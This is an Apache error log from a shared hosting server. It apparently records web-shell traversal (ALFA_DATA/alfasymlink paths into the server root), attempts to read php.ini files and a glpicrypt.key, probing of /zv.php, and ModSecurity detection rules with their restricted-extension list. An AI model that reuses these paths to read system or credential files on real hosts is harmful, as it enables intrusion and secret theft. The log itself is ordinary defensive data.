[Sun Oct 25 06:59:36.623298 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:36.988110 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:37.352412 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:37.716831 2026] [proxy_fcgi:error] [pid 2815608:tid 2815608] [client 20.194.17.163:7433] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:38.498743 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.213.213.161:21905] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:38.627060 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:38.989723 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:39.170158 2026] [security2:error] [pid 2815599:tid 2815599] [client 20.194.17.163:7860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/zv.php"] [unique_id "at3hG-s4DYbOWQ864oPJhAAAAAk"]
[Sun Oct 25 06:59:39.170219 2026] [security2:error] [pid 2815599:tid 2815599] [client 20.194.17.163:7860] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp2.sherwinpinturas.com"] [uri "/zv.php"] [unique_id "at3hG-s4DYbOWQ864oPJhAAAAAk"]
[Sun Oct 25 06:59:39.352981 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:39.717319 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:40.081482 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:41.177256 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:41.540196 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:41.902880 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:42.270938 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:42.486107 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.210.155.69:53741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:59:42.643009 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:43.006645 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:43.369707 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:43.749394 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:44.114040 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:44.480230 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:45.210111 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:45.942190 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:46.306094 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:46.669440 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:46.686977 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 52.44.229.124:7900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_generic/module/sections/__mcount_loc
[Sun Oct 25 06:59:47.403251 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:47.766507 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:48.131888 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:59:48.495487 2026] [proxy_fcgi:error] [pid 2806348:tid 2806348] [client 20.194.17.163:8094] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 07:00:00.595163 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.10:11106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8/aliases
[Sun Oct 25 07:00:02.530612 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.218.35.239:6757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:06.290843 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 185.191.171.3:51560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/align
[Sun Oct 25 07:00:06.709321 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.2.4.213:40760] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:07.492819 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 185.191.171.10:11116] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:13.285060 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.206:26786] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/ata_piix/sections/__mcount_loc
[Sun Oct 25 07:00:18.636445 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 18.232.12.157:37296] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:22.615381 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 184.72.84.154:29668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:26.726464 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.205.141.124:40697] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:34.858599 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 3.217.171.106:28285] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/unbind
[Sun Oct 25 07:00:38.565758 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.225.24.180:35677] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:46.770700 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.222.190.107:39918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:00:58.846442 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 52.204.253.129:57462] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/exar_serial/new_id
[Sun Oct 25 07:01:06.592352 2026] [ssl:error] [pid 2800259:tid 2800259] (22)Invalid argument: [client 23.22.105.143:64757] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:10.160447 2026] [core:crit] [pid 2806345:tid 2806345] (13)Permission denied: [client 139.170.72.6:44251] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 07:01:12.205942 2026] [authz_core:error] [pid 2815602:tid 2815602] [client 220.197.85.100:63423] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:01:15.511235 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 100.29.155.89:22528] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:16.339348 2026] [authz_core:error] [pid 2815599:tid 2815599] [client 195.178.110.105:31678] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:01:18.753908 2026] [authz_core:error] [pid 2815599:tid 2815599] [client 195.178.110.105:31678] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:01:19.482629 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.93.253.174:27501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:20.447856 2026] [authz_core:error] [pid 2815608:tid 2815608] [client 195.178.110.105:30058] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:01:21.309453 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 85.208.96.195:29122] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/total_objects
[Sun Oct 25 07:01:23.088876 2026] [authz_core:error] [pid 2815608:tid 2815608] [client 195.178.110.105:30058] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:01:34.679062 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.22.87.224:4067] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:38.625737 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 54.204.12.115:1376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:42.840251 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 23.21.179.120:56882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:46.686288 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.214.176.44:9777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:01:50.905903 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.209.35.147:44819] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:06.642116 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 98.82.39.241:1340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:10.715037 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 35.169.240.53:44269] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:14.650868 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.2.191.202:3467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:21.173214 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 85.208.96.207:27552] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/align
[Sun Oct 25 07:02:22.676355 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.211.39.188:58727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:30.948245 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.217.255.167:7867] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:35.262967 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.235.215.92:12158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:37.100597 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 185.191.171.17:16110] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:38.722226 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.84.161.62:46260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:02:58.845160 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 35.168.238.50:23037] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:02.767656 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.193.102.198:17837] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:06.962789 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 50.19.102.70:58070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:10.846840 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.207.252.58:9877] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:14.805700 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.211.39.188:48031] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:21.400606 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 178.186.211.109:54877] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sun Oct 25 07:03:22.925752 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.205.222.214:48872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:24.732392 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 85.208.96.211:42608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCPv6/total_objects
[Sun Oct 25 07:03:26.756179 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.83.180.239:29294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:31.011425 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.194.95.99:32092] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:42.873109 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.226.34.98:43489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:50.886292 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.225.98.148:9813] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:03:56.834842 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 98.83.94.113:2594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:04:06.996136 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.200.58.199:5411] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:04:26.742328 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 185.191.171.19:32086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/slabs_cpu_partial
[Sun Oct 25 07:04:32.530317 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 85.208.96.206:47982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCP/object_size
[Sun Oct 25 07:04:35.121115 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.84.60.17:57494] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:04:51.077599 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.223.232.55:24618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:04:58.916079 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.83.240.58:50818] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:00.394219 2026] [core:error] [pid 2815608:tid 2815608] (13)Permission denied: [client 185.191.171.13:47850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/total_objects
[Sun Oct 25 07:05:02.943379 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.235.172.96:30856] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:11.154701 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.156.248.117:43393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:19.270373 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.224.205.25:64168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:21.172915 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 85.208.96.204:39726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/slab_size
[Sun Oct 25 07:05:27.157410 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.235.215.92:58387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:31.246702 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.204.89.12:37683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:31.246926 2026] [security2:error] [pid 2815608:tid 2815608] [client 52.204.89.12:37683] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/local_cpulist"] [unique_id "at3ieyK0zo25roaoS0zYpwAAABY"]
[Sun Oct 25 07:05:31.246961 2026] [security2:error] [pid 2815608:tid 2815608] [client 52.204.89.12:37683] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/local_cpulist"] [unique_id "at3ieyK0zo25roaoS0zYpwAAABY"]
[Sun Oct 25 07:05:34.986610 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.164.106.236:34839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:39.146028 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.82.63.147:49514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:39.737248 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 85.208.96.201:40944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/validate
[Sun Oct 25 07:05:47.062498 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.209.100.30:13802] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:05:51.123012 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 54.156.124.2:49035] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/crash_notes
[Sun Oct 25 07:05:59.503227 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 3.94.157.25:63672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/resource4
[Sun Oct 25 07:06:03.261383 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 3.235.215.92:19434] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:07.045141 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.85.7.119:4503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:15.075217 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 18.213.102.186:32430] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:31.297607 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 23.21.175.228:47550] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:39.227446 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.204.174.139:14036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:41.504656 2026] [authz_core:error] [pid 2815601:tid 2815601] [client 66.249.66.40:48957] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 07:06:43.291926 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 100.25.120.246:26722] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:47.251599 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.23.137.202:25565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:51.131738 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 18.213.240.226:4483] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:55.081149 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 85.208.96.211:31540] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:55.581969 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 18.205.213.231:37777] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:06:59.275667 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 98.80.130.239:55886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:07:07.429934 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 184.73.239.35:48244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:07:14.577823 2026] [authz_core:error] [pid 2806345:tid 2806345] [client 17.166.24.74:60932] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:07:19.389632 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 52.205.141.124:7460] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:07:27.403567 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 23.21.227.240:32734] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:07:39.702163 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.166.126.132:51114] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:07:55.504197 2026] [ssl:error] [pid 2815602:tid 2815602] (5)Input/output error: [client 35.169.119.108:2473] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:05.628654 2026] [authz_core:error] [pid 2815608:tid 2815608] [client 164.92.211.98:38904] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:08:07.608807 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.105.234:14224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:19.339664 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.208.11.93:47048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:27.434998 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 18.232.36.1:34009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:31.531852 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 18.214.124.6:44108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/remove_id
[Sun Oct 25 07:08:43.270121 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 3.216.86.144:22548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:45.780077 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 85.208.96.203:53004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sb_edac/sections/__mcount_loc
[Sun Oct 25 07:08:50.196643 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 85.208.96.194:47742] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:08:59.294544 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 107.23.62.75:29156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:03.122049 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.221.105.234:64958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:18.912515 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.206.249.188:34489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:26.845111 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 184.73.167.217:12555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:30.940182 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 107.22.208.39:50808] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:50.981035 2026] [ssl:error] [pid 2815608:tid 2815608] (70014)End of file found: [client 18.232.36.1:43185] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:09:58.778819 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.227.180.70:57586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:10:04.498930 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/glpi/glpicrypt.key"] [unique_id "at3jjMFBowqkM0cGnNCRVwAAAA8"]
[Sun Oct 25 07:10:04.499309 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/glpi/glpicrypt.key"] [unique_id "at3jjMFBowqkM0cGnNCRVwAAAA8"]
[Sun Oct 25 07:10:04.500197 2026] [security2:error] [pid 2815601:tid 2815601] [client 54.37.252.137:59798] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at3jjMFBowqkM0cGnNCRVwAAAA8"]
